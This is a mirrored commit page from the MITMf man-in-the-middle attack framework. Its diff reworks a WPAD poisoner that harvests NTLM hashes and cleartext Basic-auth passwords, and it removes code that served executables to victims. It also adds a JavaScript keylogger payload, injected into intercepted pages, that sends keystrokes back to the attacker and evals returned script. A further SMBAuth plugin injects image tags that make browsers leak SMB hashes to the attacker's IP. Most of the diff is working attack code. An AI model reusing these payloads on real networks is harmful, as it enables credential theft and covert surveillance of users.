mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-07 05:22:15 -07:00
WPAD Poisoner back online, removed options in config file and rellative code for choosing which DNS server to use. (there really was not point in keeping it)
the --basic and --force options and the EXE serving in the Responder plugin have been removed, until I can find a better way of implementing them. Modified and re-added the JS-keylogger and SMBauth plugins
This commit is contained in:
parent
aa4e022ab0
commit
5d07551a50
13 changed files with 312 additions and 165 deletions
|
@ -28,7 +28,6 @@
|
|||
#Here you can configure MITMf's internal DNS server
|
||||
#
|
||||
|
||||
resolver = dnschef #Can be set to 'twisted' or 'dnschef' ('dnschef' is highly reccomended)
|
||||
tcp = Off #Use the TCP DNS proxy instead of the default UDP (not fully tested, might break stuff!)
|
||||
port = 53 #Port to listen on
|
||||
ipv6 = Off #Run in IPv6 mode (not fully tested, might break stuff!)
|
||||
|
@ -119,20 +118,6 @@
|
|||
#Set this option with specific NBT-NS/LLMNR names not to respond to (default = None). Example: DontRespondTo = NAC, IPS, IDS
|
||||
DontRespondToName =
|
||||
|
||||
[[HTTP Server]]
|
||||
|
||||
#Set this to On if you want to always serve a specific file to the victim.
|
||||
Serve-Always = Off
|
||||
|
||||
#Set this to On if you want to serve an executable file each time a .exe is detected in an URL.
|
||||
Serve-Exe = Off
|
||||
|
||||
#Uncomment and specify a custom file to serve, the file must exist.
|
||||
Filename = config/responder/Denied.html
|
||||
|
||||
#Specify a custom executable file to serve, the file must exist.
|
||||
ExecFilename = config/responder/FixInternet.exe
|
||||
|
||||
#Set your custom PAC script
|
||||
WPADScript = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return "PROXY ISAProxySrv:3141; DIRECT";}'
|
||||
|
||||
|
|
|
@ -44,5 +44,6 @@ class ConfigWatcher(FileSystemEventHandler):
|
|||
def reloadConfig(self):
|
||||
try:
|
||||
self.config = ConfigObj("./config/mitmf.conf")
|
||||
except Exception, e:
|
||||
except Exception as e:
|
||||
mitmf_logger.warning("Error reloading config file: {}".format(e))
|
||||
pass
|
||||
|
|
|
@ -1,12 +1,12 @@
|
|||
import logging
|
||||
import threading
|
||||
import sys
|
||||
import threading
|
||||
from impacket import smbserver, LOG
|
||||
|
||||
LOG.setLevel(logging.INFO)
|
||||
LOG.propagate = False
|
||||
#logging.getLogger('smbserver').setLevel(logging.INFO)
|
||||
#logging.getLogger('impacket').setLevel(logging.INFO)
|
||||
logging.getLogger('smbserver').setLevel(logging.INFO)
|
||||
logging.getLogger('impacket').setLevel(logging.INFO)
|
||||
|
||||
formatter = logging.Formatter("%(asctime)s [SMBserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
fileHandler = logging.FileHandler("./logs/mitmf.log")
|
||||
|
@ -26,3 +26,46 @@ class SMBserver:
|
|||
t = threading.Thread(name='SMBserver', target=self.server.start)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
|
||||
"""
|
||||
class SMBserver(Thread):
|
||||
def __init__(self):
|
||||
Thread.__init__(self)
|
||||
|
||||
def run(self):
|
||||
# Here we write a mini config for the server
|
||||
smbConfig = ConfigParser.ConfigParser()
|
||||
smbConfig.add_section('global')
|
||||
smbConfig.set('global','server_name','server_name')
|
||||
smbConfig.set('global','server_os','UNIX')
|
||||
smbConfig.set('global','server_domain','WORKGROUP')
|
||||
smbConfig.set('global','log_file', 'None')
|
||||
smbConfig.set('global','credentials_file','')
|
||||
|
||||
# Let's add a dummy share
|
||||
#smbConfig.add_section(DUMMY_SHARE)
|
||||
#smbConfig.set(DUMMY_SHARE,'comment','')
|
||||
#smbConfig.set(DUMMY_SHARE,'read only','no')
|
||||
#smbConfig.set(DUMMY_SHARE,'share type','0')
|
||||
#smbConfig.set(DUMMY_SHARE,'path',SMBSERVER_DIR)
|
||||
|
||||
# IPC always needed
|
||||
smbConfig.add_section('IPC$')
|
||||
smbConfig.set('IPC$','comment','')
|
||||
smbConfig.set('IPC$','read only','yes')
|
||||
smbConfig.set('IPC$','share type','3')
|
||||
smbConfig.set('IPC$','path')
|
||||
|
||||
self.smb = smbserver.SMBSERVER(('0.0.0.0',445), config_parser = smbConfig)
|
||||
|
||||
self.smb.processConfigFile()
|
||||
try:
|
||||
self.smb.serve_forever()
|
||||
except:
|
||||
pass
|
||||
|
||||
def stop(self):
|
||||
self.smb.socket.close()
|
||||
self.smb.server_close()
|
||||
self._Thread__stop()
|
||||
"""
|
|
@ -1,16 +1,23 @@
|
|||
import socket
|
||||
import threading
|
||||
import logging
|
||||
import re
|
||||
|
||||
from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
|
||||
from core.configwatcher import ConfigWatcher
|
||||
from core.responder.common import *
|
||||
from HTTPPackets import *
|
||||
|
||||
mitmf_logger = logging.getLogger("mitmf")
|
||||
|
||||
class WPADPoisoner():
|
||||
|
||||
def start(self):
|
||||
def start(self, options):
|
||||
|
||||
global args; args = options
|
||||
args.forceWpadAuth = False
|
||||
args.basic = False
|
||||
|
||||
try:
|
||||
mitmf_logger.debug("[WPADPoisoner] online")
|
||||
server = ThreadingTCPServer(("0.0.0.0", 80), HTTP)
|
||||
|
@ -36,17 +43,14 @@ class HTTP(BaseRequestHandler):
|
|||
self.request.settimeout(1)
|
||||
data = self.request.recv(8092)
|
||||
buff = WpadCustom(data,self.client_address[0])
|
||||
if buff and WpadForcedAuth(Force_WPAD_Auth) == False:
|
||||
Message = "[+]WPAD (no auth) file sent to: %s"%(self.client_address[0])
|
||||
if Verbose:
|
||||
print Message
|
||||
mitmf_logger.info(Message)
|
||||
if buff and args.forceWpadAuth is False:
|
||||
mitmf_logger.info("[WPADPoisoner] WPAD (no auth) file sent to: {}".format(self.client_address[0]))
|
||||
self.request.send(buff)
|
||||
else:
|
||||
buffer0 = PacketSequence(data,self.client_address[0])
|
||||
self.request.send(buffer0)
|
||||
except Exception:
|
||||
pass#No need to be verbose..
|
||||
except Exception as e:
|
||||
pass
|
||||
|
||||
#Parse NTLMv1/v2 hash.
|
||||
def ParseHTTPHash(data,client):
|
||||
|
@ -92,18 +96,8 @@ def ParseHTTPHash(data,client):
|
|||
mitmf_logger.info('[+]HTTP NTLMv2 Hostname is :%s'%(HostName))
|
||||
mitmf_logger.info('[+]HTTP NTLMv2 Complete hash is :%s'%(WriteHash))
|
||||
|
||||
def GrabCookie(data,host):
|
||||
Cookie = re.search('(Cookie:*.\=*)[^\r\n]*', data)
|
||||
if Cookie:
|
||||
CookieStr = "[+]HTTP Cookie Header sent from: %s The Cookie is: \n%s"%(host,Cookie.group(0))
|
||||
mitmf_logger.info(CookieStr)
|
||||
return Cookie.group(0)
|
||||
else:
|
||||
NoCookies = "No cookies were sent with this request"
|
||||
mitmf_logger.info(NoCookies)
|
||||
return NoCookies
|
||||
|
||||
def WpadCustom(data,client):
|
||||
WPAD_Script = ConfigWatcher.getInstance().getConfig()["Responder"]['WPADScript']
|
||||
Wpad = re.search('(/wpad.dat|/*\.pac)', data)
|
||||
if Wpad:
|
||||
buffer1 = WPADScript(Payload=WPAD_Script)
|
||||
|
@ -112,12 +106,6 @@ def WpadCustom(data,client):
|
|||
else:
|
||||
return False
|
||||
|
||||
def WpadForcedAuth(Force_WPAD_Auth):
|
||||
if Force_WPAD_Auth == True:
|
||||
return True
|
||||
if Force_WPAD_Auth == False:
|
||||
return False
|
||||
|
||||
# Function used to check if we answer with a Basic or NTLM auth.
|
||||
def Basic_Ntlm(Basic):
|
||||
if Basic == True:
|
||||
|
@ -125,77 +113,14 @@ def Basic_Ntlm(Basic):
|
|||
else:
|
||||
return IIS_Auth_401_Ans()
|
||||
|
||||
def ServeEXE(data,client, Filename):
|
||||
Message = "[+]Sent %s file sent to: %s."%(Filename,client)
|
||||
mitmf_logger.info(Message)
|
||||
with open (Filename, "rb") as bk:
|
||||
data = bk.read()
|
||||
bk.close()
|
||||
return data
|
||||
|
||||
def ServeEXEOrNot(on_off):
|
||||
if Exe_On_Off == "ON":
|
||||
return True
|
||||
if Exe_On_Off == "OFF":
|
||||
return False
|
||||
|
||||
def ServeEXECAlwaysOrNot(on_off):
|
||||
if Exec_Mode_On_Off == "ON":
|
||||
return True
|
||||
if Exec_Mode_On_Off == "OFF":
|
||||
return False
|
||||
|
||||
def IsExecutable(Filename):
|
||||
exe = re.findall('.exe',Filename)
|
||||
if exe:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def GrabURL(data, host):
|
||||
GET = re.findall('(?<=GET )[^HTTP]*', data)
|
||||
POST = re.findall('(?<=POST )[^HTTP]*', data)
|
||||
POSTDATA = re.findall('(?<=\r\n\r\n)[^*]*', data)
|
||||
if GET:
|
||||
HostStr = "[+]HTTP GET request from : %s. The HTTP URL requested was: %s"%(host, ''.join(GET))
|
||||
mitmf_logger.info(HostStr)
|
||||
#print HostStr
|
||||
|
||||
if POST:
|
||||
Host3Str = "[+]HTTP POST request from : %s. The HTTP URL requested was: %s"%(host,''.join(POST))
|
||||
mitmf_logger.info(Host3Str)
|
||||
#print Host3Str
|
||||
if len(''.join(POSTDATA)) >2:
|
||||
PostData = '[+]The HTTP POST DATA in this request was: %s'%(''.join(POSTDATA).strip())
|
||||
#print PostData
|
||||
mitmf_logger.info(PostData)
|
||||
|
||||
#Handle HTTP packet sequence.
|
||||
def PacketSequence(data,client):
|
||||
Ntlm = re.findall('(?<=Authorization: NTLM )[^\\r]*', data)
|
||||
BasicAuth = re.findall('(?<=Authorization: Basic )[^\\r]*', data)
|
||||
|
||||
if ServeEXEOrNot(Exe_On_Off) and re.findall('.exe', data):
|
||||
File = config.get('HTTP Server', 'ExecFilename')
|
||||
buffer1 = ServerExeFile(Payload = ServeEXE(data,client,File),filename=File)
|
||||
buffer1.calculate()
|
||||
return str(buffer1)
|
||||
|
||||
if ServeEXECAlwaysOrNot(Exec_Mode_On_Off):
|
||||
if IsExecutable(FILENAME):
|
||||
buffer1 = ServeAlwaysExeFile(Payload = ServeEXE(data,client,FILENAME),ContentDiFile=FILENAME)
|
||||
buffer1.calculate()
|
||||
return str(buffer1)
|
||||
else:
|
||||
buffer1 = ServeAlwaysNormalFile(Payload = ServeEXE(data,client,FILENAME))
|
||||
buffer1.calculate()
|
||||
return str(buffer1)
|
||||
|
||||
if Ntlm:
|
||||
packetNtlm = b64decode(''.join(Ntlm))[8:9]
|
||||
if packetNtlm == "\x01":
|
||||
GrabURL(data,client)
|
||||
GrabCookie(data,client)
|
||||
r = NTLM_Challenge(ServerChallenge=Challenge)
|
||||
r.calculate()
|
||||
t = IIS_NTLM_Challenge_Ans()
|
||||
|
@ -205,11 +130,8 @@ def PacketSequence(data,client):
|
|||
if packetNtlm == "\x03":
|
||||
NTLM_Auth= b64decode(''.join(Ntlm))
|
||||
ParseHTTPHash(NTLM_Auth,client)
|
||||
if WpadForcedAuth(Force_WPAD_Auth) and WpadCustom(data,client):
|
||||
Message = "[+]WPAD (auth) file sent to: %s"%(client)
|
||||
if Verbose:
|
||||
print Message
|
||||
mitmf_logger.info(Message)
|
||||
if args.forceWpadAuth and WpadCustom(data,client):
|
||||
mitmf_logger.info("[WPADPoisoner] WPAD (auth) file sent to: {}".format(client))
|
||||
buffer1 = WpadCustom(data,client)
|
||||
return buffer1
|
||||
else:
|
||||
|
@ -218,16 +140,11 @@ def PacketSequence(data,client):
|
|||
return str(buffer1)
|
||||
|
||||
if BasicAuth:
|
||||
GrabCookie(data,client)
|
||||
GrabURL(data,client)
|
||||
outfile = "./logs/responder/HTTP-Clear-Text-Password-"+client+".txt"
|
||||
WriteData(outfile,b64decode(''.join(BasicAuth)), b64decode(''.join(BasicAuth)))
|
||||
mitmf_logger.info('[+]HTTP-User & Password: %s'%(b64decode(''.join(BasicAuth))))
|
||||
if WpadForcedAuth(Force_WPAD_Auth) and WpadCustom(data,client):
|
||||
Message = "[+]WPAD (auth) file sent to: %s"%(client)
|
||||
if Verbose:
|
||||
print Message
|
||||
mitmf_logger.info(Message)
|
||||
if args.forceWpadAuth and WpadCustom(data,client):
|
||||
mitmf_logger.info("[WPADPoisoner] WPAD (auth) file sent to: {}".format(client))
|
||||
buffer1 = WpadCustom(data,client)
|
||||
return buffer1
|
||||
else:
|
||||
|
@ -236,5 +153,5 @@ def PacketSequence(data,client):
|
|||
return str(buffer1)
|
||||
|
||||
else:
|
||||
return str(Basic_Ntlm(Basic))
|
||||
return str(Basic_Ntlm(args.basic))
|
||||
|
|
@ -17,8 +17,11 @@
|
|||
#
|
||||
|
||||
import sys
|
||||
import logging
|
||||
import inspect
|
||||
|
||||
mitmf_logger = logging.getLogger("mitmf")
|
||||
|
||||
class ProxyPlugins:
|
||||
'''
|
||||
This class does some magic so that all we need to do in
|
||||
|
|
|
@ -192,9 +192,6 @@ class ClientRequest(Request):
|
|||
else:
|
||||
|
||||
mitmf_logger.debug("[ClientRequest] Host not cached.")
|
||||
|
||||
if self.urlMonitor.getResolver() == 'dnschef':
|
||||
|
||||
self.customResolver.port = self.urlMonitor.getResolverPort()
|
||||
|
||||
try:
|
||||
|
@ -205,10 +202,6 @@ class ClientRequest(Request):
|
|||
mitmf_logger.debug("[ClientRequest] Exception occured, falling back to Twisted")
|
||||
return reactor.resolve(host)
|
||||
|
||||
elif self.urlMonitor.getResolver() == 'twisted':
|
||||
mitmf_logger.debug("[ClientRequest] Resolving with Twisted")
|
||||
return reactor.resolve(host)
|
||||
|
||||
def process(self):
|
||||
mitmf_logger.debug("[ClientRequest] Resolving host: {}".format(self.getHeader('host')))
|
||||
host = self.getHeader('host').split(":")[0]
|
||||
|
|
|
@ -71,7 +71,8 @@ class ServerConnection(HTTPClient):
|
|||
try:
|
||||
user_agent = parse(self.headers['user-agent'])
|
||||
self.clientInfo = "{} [type:{}-{} os:{}] ".format(self.client.getClientIP(), user_agent.browser.family, user_agent.browser.version[0], user_agent.os.family)
|
||||
except:
|
||||
except Exception as e:
|
||||
mitmf_logger.debug("[ServerConnection] Failed to parse client UA: {}".format(e))
|
||||
self.clientInfo = "{} ".format(self.client.getClientIP())
|
||||
|
||||
mitmf_logger.info(self.clientInfo + "Sending Request: {}".format(self.headers['host']))
|
||||
|
@ -135,7 +136,7 @@ class ServerConnection(HTTPClient):
|
|||
self.isCompressed = True
|
||||
|
||||
elif (key.lower()== 'strict-transport-security'):
|
||||
mitmf_logger.info("{} Zapped a strict-trasport-security header".format(self.client.getClientIP()))
|
||||
mitmf_logger.info("{} Zapped a strict-trasport-security header".format(self.clientInfo))
|
||||
|
||||
elif (key.lower() == 'content-length'):
|
||||
self.contentLength = value
|
||||
|
|
|
@ -53,10 +53,6 @@ class URLMonitor:
|
|||
|
||||
return URLMonitor._instance
|
||||
|
||||
#This is here because I'm lazy
|
||||
def getResolver(self):
|
||||
return ConfigWatcher.getInstance().getConfig()['MITMf']['DNS']['resolver'].lower()
|
||||
|
||||
#This is here because I'm lazy
|
||||
def getResolverPort(self):
|
||||
return int(ConfigWatcher.getInstance().getConfig()['MITMf']['DNS']['port'])
|
||||
|
|
10
mitmf.py
10
mitmf.py
|
@ -23,7 +23,6 @@ import sys
|
|||
import os
|
||||
import logging
|
||||
import threading
|
||||
import user_agents
|
||||
|
||||
from twisted.web import http
|
||||
from twisted.internet import reactor
|
||||
|
@ -69,7 +68,7 @@ plugins = []
|
|||
try:
|
||||
for p in plugin_classes:
|
||||
plugins.append(p())
|
||||
except Exception, e:
|
||||
except Exception as e:
|
||||
print "[-] Failed to load plugin class {}: {}".format(p, e)
|
||||
|
||||
#Give subgroup to each plugin with options
|
||||
|
@ -165,12 +164,15 @@ from core.netcreds.NetCreds import NetCreds
|
|||
NetCreds().start(args.interface, myip)
|
||||
print "|_ Net-Creds v{} online".format(netcreds_version)
|
||||
|
||||
#Start all servers!
|
||||
#Start DNSChef
|
||||
from core.dnschef.DNSchef import DNSChef
|
||||
DNSChef.getInstance().start()
|
||||
print "|_ DNSChef v{} online\n".format(dnschef_version)
|
||||
print "|_ DNSChef v{} online".format(dnschef_version)
|
||||
|
||||
#start the SMB server
|
||||
from core.protocols.smb.SMBserver import SMBserver
|
||||
from impacket import version
|
||||
print "|_ SMBserver online (Impacket {})\n".format(version.VER_MINOR)
|
||||
SMBserver().start()
|
||||
|
||||
#start the reactor
|
||||
|
|
|
@ -87,9 +87,8 @@ class Inject(CacheKill, Plugin):
|
|||
self.dtable[ip+hn] = True
|
||||
self.count += 1
|
||||
mitmf_logger.info("%s [%s] Injected malicious html" % (ip, hn))
|
||||
|
||||
return {'request': request, 'data': data}
|
||||
else:
|
||||
return
|
||||
|
||||
def _get_payload(self):
|
||||
return self._get_js() + self._get_iframe() + self.html_payload
|
||||
|
@ -136,7 +135,6 @@ class Inject(CacheKill, Plugin):
|
|||
if self.per_domain:
|
||||
return not ip+hn in self.dtable
|
||||
|
||||
#print mime
|
||||
return mime.find(self.mime) != -1
|
||||
|
||||
def _get_req_info(self, request):
|
||||
|
|
167
plugins/JsKeylogger.py
Normal file
167
plugins/JsKeylogger.py
Normal file
|
@ -0,0 +1,167 @@
|
|||
#!/usr/bin/env python2.7
|
||||
|
||||
# Copyright (c) 2014-2016 Marcello Salvati
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation; either version 3 of the
|
||||
# License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
|
||||
from plugins.plugin import Plugin
|
||||
from plugins.Inject import Inject
|
||||
import logging
|
||||
|
||||
class jskeylogger(Inject, Plugin):
|
||||
name = "Javascript Keylogger"
|
||||
optname = "jskeylogger"
|
||||
desc = "Injects a javascript keylogger into clients webpages"
|
||||
implements = ["handleResponse", "handleHeader", "connectionMade", "sendPostData"]
|
||||
depends = ["Inject"]
|
||||
version = "0.2"
|
||||
has_opts = False
|
||||
|
||||
def initialize(self, options):
|
||||
Inject.initialize(self, options)
|
||||
self.html_payload = self.msf_keylogger()
|
||||
|
||||
def sendPostData(self, request):
|
||||
#Handle the plugin output
|
||||
if 'keylog' in request.uri:
|
||||
|
||||
raw_keys = request.postData.split("&&")[0]
|
||||
keys = raw_keys.split(",")
|
||||
del keys[0]; del(keys[len(keys)-1])
|
||||
|
||||
input_field = request.postData.split("&&")[1]
|
||||
|
||||
nice = ''
|
||||
for n in keys:
|
||||
if n == '9':
|
||||
nice += "<TAB>"
|
||||
elif n == '8':
|
||||
nice = nice.replace(nice[-1:], "")
|
||||
elif n == '13':
|
||||
nice = ''
|
||||
else:
|
||||
try:
|
||||
nice += n.decode('hex')
|
||||
except:
|
||||
mitmf_logger.warning("%s ERROR decoding char: %s" % (request.client.getClientIP(), n))
|
||||
|
||||
#try:
|
||||
# input_field = input_field.decode('hex')
|
||||
#except:
|
||||
# mitmf_logger.warning("%s ERROR decoding input field name: %s" % (request.client.getClientIP(), input_field))
|
||||
|
||||
mitmf_logger.warning("%s [%s] Field: %s Keys: %s" % (request.client.getClientIP(), request.headers['host'], input_field, nice))
|
||||
|
||||
def msf_keylogger(self):
|
||||
#Stolen from the Metasploit module http_javascript_keylogger
|
||||
|
||||
payload = """<script type="text/javascript">
|
||||
window.onload = function mainfunc(){
|
||||
var2 = ",";
|
||||
name = '';
|
||||
function make_xhr(){
|
||||
var xhr;
|
||||
try {
|
||||
xhr = new XMLHttpRequest();
|
||||
} catch(e) {
|
||||
try {
|
||||
xhr = new ActiveXObject("Microsoft.XMLHTTP");
|
||||
} catch(e) {
|
||||
xhr = new ActiveXObject("MSXML2.ServerXMLHTTP");
|
||||
}
|
||||
}
|
||||
if(!xhr) {
|
||||
throw "failed to create XMLHttpRequest";
|
||||
}
|
||||
return xhr;
|
||||
}
|
||||
|
||||
xhr = make_xhr();
|
||||
xhr.onreadystatechange = function() {
|
||||
if(xhr.readyState == 4 && (xhr.status == 200 || xhr.status == 304)) {
|
||||
eval(xhr.responseText);
|
||||
}
|
||||
}
|
||||
|
||||
if (window.addEventListener) {
|
||||
document.addEventListener('keypress', function2, true);
|
||||
document.addEventListener('keydown', function1, true);
|
||||
} else if (window.attachEvent) {
|
||||
document.attachEvent('onkeypress', function2);
|
||||
document.attachEvent('onkeydown', function1);
|
||||
} else {
|
||||
document.onkeypress = function2;
|
||||
document.onkeydown = function1;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
function function2(e)
|
||||
{
|
||||
srcname = window.event.srcElement.name;
|
||||
var3 = (window.event) ? window.event.keyCode : e.which;
|
||||
var3 = var3.toString(16);
|
||||
|
||||
if (var3 != "d")
|
||||
{
|
||||
andxhr(var3, srcname);
|
||||
}
|
||||
}
|
||||
|
||||
function function1(e)
|
||||
{
|
||||
srcname = window.event.srcElement.name;
|
||||
id = window.event.srcElement.id;
|
||||
|
||||
var3 = (window.event) ? window.event.keyCode : e.which;
|
||||
if (var3 == 9 || var3 == 8 || var3 == 13)
|
||||
{
|
||||
andxhr(var3, srcname);
|
||||
}
|
||||
else if (var3 == 0)
|
||||
{
|
||||
|
||||
text = document.getElementById(id).value;
|
||||
if (text.length != 0)
|
||||
{
|
||||
andxhr(text.toString(16), srcname);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function andxhr(key, inputName)
|
||||
{
|
||||
if (inputName != name)
|
||||
{
|
||||
name = inputName;
|
||||
var2 = ",";
|
||||
}
|
||||
|
||||
var2= var2 + key + ",";
|
||||
|
||||
xhr.open("POST", "keylog", true);
|
||||
xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");
|
||||
xhr.send(var2 + '&&' + inputName);
|
||||
|
||||
if (key == 13 || var2.length > 3000)
|
||||
{
|
||||
var2 = ",";
|
||||
}
|
||||
}
|
||||
</script>"""
|
||||
|
||||
return payload
|
|
@ -18,13 +18,12 @@
|
|||
# USA
|
||||
#
|
||||
|
||||
import sys
|
||||
import os
|
||||
import threading
|
||||
|
||||
from plugins.plugin import Plugin
|
||||
from twisted.internet import reactor
|
||||
from core.utils import SystemConfig
|
||||
|
||||
from core.responder.llmnr.LLMNRPoisoner import LLMNRPoisoner
|
||||
from core.responder.wpad.WPADPoisoner import WPADPoisoner
|
||||
from core.responder.mdns.MDNSPoisoner import MDNSPoisoner
|
||||
|
@ -59,7 +58,7 @@ class Responder(Plugin):
|
|||
LLMNRPoisoner().start(options, self.ourip)
|
||||
|
||||
if options.wpad:
|
||||
WPADPoisoner().start()
|
||||
WPADPoisoner().start(options)
|
||||
|
||||
if options.analyze:
|
||||
self.tree_output.append("Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned")
|
||||
|
@ -69,10 +68,10 @@ class Responder(Plugin):
|
|||
|
||||
def add_options(self, options):
|
||||
options.add_argument('--analyze', dest="analyze", action="store_true", help="Allows you to see NBT-NS, BROWSER, LLMNR requests from which workstation to which workstation without poisoning")
|
||||
options.add_argument('--basic', dest="basic", default=False, action="store_true", help="Set this if you want to return a Basic HTTP authentication. If not set, an NTLM authentication will be returned")
|
||||
options.add_argument('--wredir', dest="wredir", default=False, action="store_true", help="Set this to enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network (like classics 'nbns spoofer' would). Default value is therefore set to False")
|
||||
options.add_argument('--nbtns', dest="nbtns", default=False, action="store_true", help="Set this to enable answers for netbios domain suffix queries. Answering to domain suffixes will likely break stuff on the network (like a classic 'nbns spoofer' would). Default value is therefore set to False")
|
||||
options.add_argument('--fingerprint', dest="finger", default=False, action="store_true", help = "This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query")
|
||||
options.add_argument('--wpad', dest="wpad", default=False, action="store_true", help = "Set this to start the WPAD rogue proxy server. Default value is False")
|
||||
options.add_argument('--forcewpadauth', dest="forceWpadAuth", default=False, action="store_true", help = "Set this if you want to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Therefore, default value is False")
|
||||
options.add_argument('--lm', dest="lm", default=False, action="store_true", help="Set this if you want to force LM hashing downgrade for Windows XP/2003 and earlier. Default value is False")
|
||||
options.add_argument('--wredir', dest="wredir", default=False, action="store_true", help="Enables answers for netbios wredir suffix queries")
|
||||
options.add_argument('--nbtns', dest="nbtns", default=False, action="store_true", help="Enables answers for netbios domain suffix queries")
|
||||
options.add_argument('--fingerprint', dest="finger", default=False, action="store_true", help = "Fingerprint hosts that issued an NBT-NS or LLMNR query")
|
||||
options.add_argument('--lm', dest="lm", default=False, action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier")
|
||||
options.add_argument('--wpad', dest="wpad", default=False, action="store_true", help = "Start the WPAD rogue proxy server")
|
||||
#options.add_argument('--forcewpadauth', dest="forceWpadAuth", default=False, action="store_true", help = "Set this if you want to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Therefore, default value is False")
|
||||
#options.add_argument('--basic', dest="basic", default=False, action="store_true", help="Set this if you want to return a Basic HTTP authentication. If not set, an NTLM authentication will be returned")
|
||||
|
|
42
plugins/SMBAuth.py
Normal file
42
plugins/SMBAuth.py
Normal file
|
@ -0,0 +1,42 @@
|
|||
#!/usr/bin/env python2.7
|
||||
|
||||
# Copyright (c) 2014-2016 Marcello Salvati
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation; either version 3 of the
|
||||
# License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
|
||||
from core.utils import SystemConfig
|
||||
from plugins.plugin import Plugin
|
||||
from plugins.Inject import Inject
|
||||
|
||||
class SMBAuth(Inject, Plugin):
|
||||
name = "SMBAuth"
|
||||
optname = "smbauth"
|
||||
desc = "Evoke SMB challenge-response auth attempts"
|
||||
depends = ["Inject"]
|
||||
version = "0.1"
|
||||
has_opts = False
|
||||
|
||||
def initialize(self, options):
|
||||
Inject.initialize(self, options)
|
||||
self.target_ip = SystemConfig.getIP(options.interface)
|
||||
|
||||
self.html_payload = self._get_data()
|
||||
|
||||
def _get_data(self):
|
||||
return '<img src=\"\\\\%s\\image.jpg\">'\
|
||||
'<img src=\"file://///%s\\image.jpg\">'\
|
||||
'<img src=\"moz-icon:file:///%%5c/%s\\image.jpg\">' % tuple([self.target_ip]*3)
|
Loading…
Add table
Add a link
Reference in a new issue